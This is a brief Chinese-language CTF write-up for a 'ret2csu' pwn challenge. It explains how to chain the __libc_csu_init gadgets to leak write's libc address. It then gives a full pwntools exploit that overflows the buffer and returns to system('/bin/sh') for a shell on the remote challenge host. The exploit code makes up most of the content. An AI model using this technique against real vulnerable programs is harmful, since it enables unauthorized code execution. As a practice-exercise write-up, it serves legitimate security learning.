题目
分析


可以看到没有system函数,而且只能通过write去泄露,write有三个参数,但是pop指令不够

所以要用csu

整理一下思路
先通过pop那一块操作把我们要的值放入对应的寄存器中,然后再调用mov函数去设置我们需要的寄存器,注意add rsp跳过一个位置,以及6个pop指令一共处理了56个字节,所以要填补上
也就是说在执行完一次pop和mov操作之后会再次进入pop,要填充足够的字节rsp到达我们的ret地址处然后改变返回地址

所以
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| from pwn import * import sys from LibcSearcher import * file_path = "./ret2csu" remote_host = "node5.anna.nssctf.cn" remote_port = 20627 libc=ELF("./libc.so.6") context(arch='amd64', os='linux', log_level='debug') elf = ELF(file_path)
if 're' in sys.argv: p = remote(remote_host, remote_port) else: p = process(file_path) #gdb.attach(p, "b*0x04012D7")
def sla(a, b): p.sendlineafter(a, b) def sa(a,b): p.sendafter(a,b)
write_got = elf.got['write'] read_got = elf.got['read'] main= 0x4011DC rdi = 0x4012b3 ret= 0x40101a pop6=0x4012AA mov=0x401290
p.recvuntil(b"Input:\n") payload = b'a'*0x108 + p64(pop6) payload += p64(0) + p64(1) + p64(1) payload += p64(write_got) + p64(8) + p64(write_got) payload += p64(mov) +b"a"*56+ p64(main) p.sendline(payload)
p.recvuntil(b"Ok.\n") write= u64(p.recv(6).ljust(8,b'\x00')) print("write:",hex(write))
libc_base = write- libc.symbols['write'] system_addr = libc_base + libc.symbols['system'] bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'a'*0X108+ p64(ret) + p64(rdi) + p64(bin_sh_addr) + p64(system_addr) delimiter = 'Input:\n' p.sendlineafter(delimiter, payload2)
p.interactive()
|